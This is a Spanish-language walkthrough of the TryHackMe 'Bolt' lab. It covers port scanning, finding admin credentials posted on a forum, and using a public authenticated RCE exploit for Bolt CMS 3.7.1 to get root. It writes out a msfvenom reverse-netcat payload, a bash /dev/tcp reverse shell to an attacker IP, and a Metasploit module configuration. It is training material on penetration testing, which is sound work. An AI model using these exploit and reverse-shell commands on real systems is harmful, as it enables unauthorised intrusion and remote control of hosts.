Bolt - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Bolt - TryHackMe

📚 Esta publicación pertenece a la colección:

Bolt - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Bolt de TryHackMe. Una room muy educativa donde la vulnerabilidad principal no está en la arquitectura, sino en el factor humano: un admin que filtra sus credenciales por descuido.

Room: Bolt
Dificultad: Easy
OS: Linux
Objetivo: Obtener acceso al sistema como usuario root

🎯 Información del Objetivo

IP Target: 10.114.177.211

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que la máquina está activa:

ping -c1 10.114.177.211
  • -c1 → Envía solo 1 paquete ICMP y para
▶ output
64 bytes from 10.114.177.211: icmp_seq=1 ttl=62 time=46.6 ms

Recibo respuesta. El TTL es 62, lo que indica que posiblemente estamos ante una máquina Linux (TTL nativo 64, decrementado por el salto de red).

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Hago un primer escaneo rápido para descubrir los puertos abiertos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.114.177.211
  • -p- → Escanea todos los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • -sS → SYN scan (half-open)
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -vvv → Máxima verbosidad
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo
▶ output
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 62
80/tcp   open  http    syn-ack ttl 62
8000/tcp open  http-alt syn-ack ttl 62

Tengo tres puertos abiertos: SSH (22), HTTP (80) y otro servicio web alternativo (8000).

Con los puertos identificados, lanzo un escaneo de versiones en esos puertos:

nmap -p22,80,8000 -sCV 10.114.177.211
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones de los servicios

Resultado detallado del escaneo nmap

Los resultados más relevantes:

  • Puerto 22: OpenSSH 7.6p1 (Ubuntu Linux)
  • Puerto 80: Apache httpd 2.4.29 — página por defecto
  • Puerto 8000: HTTP con PHP 7.2.32 — posiblemente una aplicación web

📁 Fase 2: Enumeración

Investigación del Puerto 80

Accedo al puerto 80 para ver qué hay:

Página de Apache por defecto en puerto 80

Solo veo la página de configuración por defecto de Apache. Nada útil aquí.

Investigación del Puerto 8000

Accedo al puerto 8000:

Página de inicio del Bolt CMS en puerto 8000

Veo un blog/foro con el título "A hero is unleashed" — tiene buena pinta.

Para identificar qué CMS es, ejecuto whatweb:

whatweb http://10.114.177.211:8000

Recolecta información técnica sobre el servidor web

▶ output
http://10.114.177.211:8000 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.114.177.211], MetaGenerator[Bolt], PHP[7.2.32-1+ubuntu18.04.1+deb.sury.org+1], Script, Title[Bolt | A hero is unleashed], UncommonHeaders[x-debug-token], X-Powered-By[PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1]

Perfecto. Bolt CMS con PHP 7.2.32 en Ubuntu 18.04.

Búsqueda de Credenciales en el Foro

Navegando por el foro, encuentro dos posts del usuario Jake (Admin). El primer post dice:

"Hello Everyone,
Welcome to this site, myself Jake and my username is bolt. I am still new to this CMS so it can take awhile for me to get used to this CMS but believe me i have some great content coming up for you all!
Regards,
Jake (Admin)"

Anoto: usuario = bolt

En otro post, Jake escribe algo que pensaba que era privado pero fue publicado:

Post donde Jake filtra sus credenciales por error
Click para ver imagen

"Hey guys,
i suppose this is our secret forum right? I posted my first message for our readers today but there seems to be a lot of freespace out there. Please check it out! my password is boltadmin123 just incase you need it!
Regards,
Jake (Admin)"

Perfecto. Tengo:

  • Usuario: bolt
  • Contraseña: boltadmin123

🚀 Fase 3: Explotación

Acceso al Backend de Bolt CMS

Busco dónde está el login de Bolt CMS. Generalmente es en /bolt o /bolt/login. Intento acceder a http://10.114.177.211:8000/bolt:

Se redirecciona a http://10.114.177.211:8000/bolt/login. Introduzco las credenciales obtenidas (usuario: bolt, contraseña: boltadmin123).

Acceso obtenido al backend del Bolt CMS 3.7.1.

Intento de Subida de Shell PHP

Dentro del backend, busco una forma de ejecutar comandos. El CMS tiene un apartado de "File Management" donde puedo subir archivos. Creo una reverse shell:

msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.139.157 LPORT=4444 -f raw -o shell.php

Genero una reverse shell en PHP

Intento subirla al repositorio de archivos, pero el sistema valida y rechaza la extensión:

▶ output
File 'shell.php' could not be uploaded (wrong/disallowed file type). Make sure the file extension is one of the following:.twig .html .js .css .scss .gif .jpg .jpeg .png .ico .zip .tgz .txt .md .doc .docx .pdf .epub .xls .xlsx .ppt .pptx .mp3 .ogg .wav .m4a .mp4 .m4v .ogv .wmv .avi .webm .svg

La validación es bastante estricta. .php no está permitido.

Búsqueda de Exploit

Realizo investigación y encuentro que existe un exploit público específico para Bolt CMS 3.7.1 que permite RCE autenticado. Descargo el script Python desde el repositorio:

git clone https://github.com/musyoka101/Bolt-CMS-version-3.7.1-RCE-Exploit.git

Ejecuto el exploit con las credenciales que tengo:

python3 bolt.py http://10.114.177.211:8000 bolt boltadmin123

Exploit de RCE para Bolt CMS 3.7.1, requiere credenciales válidas

El script ejecuta y obtengo una terminal interactiva donde puedo lanzar comandos como root. Sin escalada de privilegios necesaria:

Exploit RCE en el backend de Bolt CMS 3.7.1

Obtención de Reverse Shell

Para obtener una sesión más interactiva, el script me pregunta por un LHOST y LPORT para enviarme una reverse shell:

nc -nlvp 4444

Me pongo en escucha en mi máquina

Desde el script, ejecuto:

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'

Comando para obtener reverse shell

En cuestión de segundos recibo la conexión en mi listener. El script detecta que ya tenemos la reverse shell y se detiene.

Terminal RCE ejecutando comandos

Tratamiento de TTY

La shell inicial no es completamente interactiva. Realizo el tratamiento de TTY estándar:

script /dev/null -c bash
# (Ctrl+Z)
stty raw -echo; fg
reset xterm
export TERM=xterm

Ya tengo una terminal funcional como usuario root.

🚩 Flag

Busco el archivo con la flag:

cat /home/flag.txt

🚩 Flag capturada!

📌 Nota: Alternativa con Metasploit

Tras completar la room, descubro que TryHackMe sugería usar Metasploit como alternativa. Decido probar también este camino para verificar que ambos exploits funcionan de manera similar.

Configuro el módulo de Metasploit específico para Bolt CMS:

use exploit/unix/webapp/bolt_authenticated_rce
set LHOST 192.168.139.157
set LPORT 4444
set RHOSTS 10.114.177.211
set USERNAME bolt
set PASSWORD boltadmin123
run

Módulo de Metasploit para Bolt CMS 3.7.1 RCE autenticado

Metasploit ejecutando el exploit

El módulo funciona de forma muy similar al script Python. Obtengo una shell como root de forma inmediata. Ambos exploits logran el mismo objetivo a través de la misma vulnerabilidad.

📊 Resumen

Cadena de Ataque

Nmap → Identificación Bolt CMS → Information Leak (Foro Público) → Credenciales Admin (bolt:boltadmin123) → Intento fallido subida PHP → Exploit Python RCE → Reverse Shell → TTY Treatment → Flag

Puntos clave:

  • El factor humano fue la vulnerabilidad inicial (credenciales expuestas en post público)
  • La validación de archivo upload bloqueó el primer vector de ataque
  • El exploit Python permitió RCE directo aprovechando una vulnerabilidad autenticada de Bolt CMS

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • whatweb — Identificación de tecnologías web
  • Exploit Python — Script de RCE para Bolt CMS 3.7.1
  • Metasploit — Framework alternativo (módulo bolt_authenticated_rce)

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Información Leak en post públicoALTAImplementar controles en la visibilidad de los posts públicos; educar a los usuarios sobre no publicar credenciales
Bolt CMS 3.7.1 — RCE autenticadoCRÍTICAActualizar a una versión más reciente con parches de seguridad

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.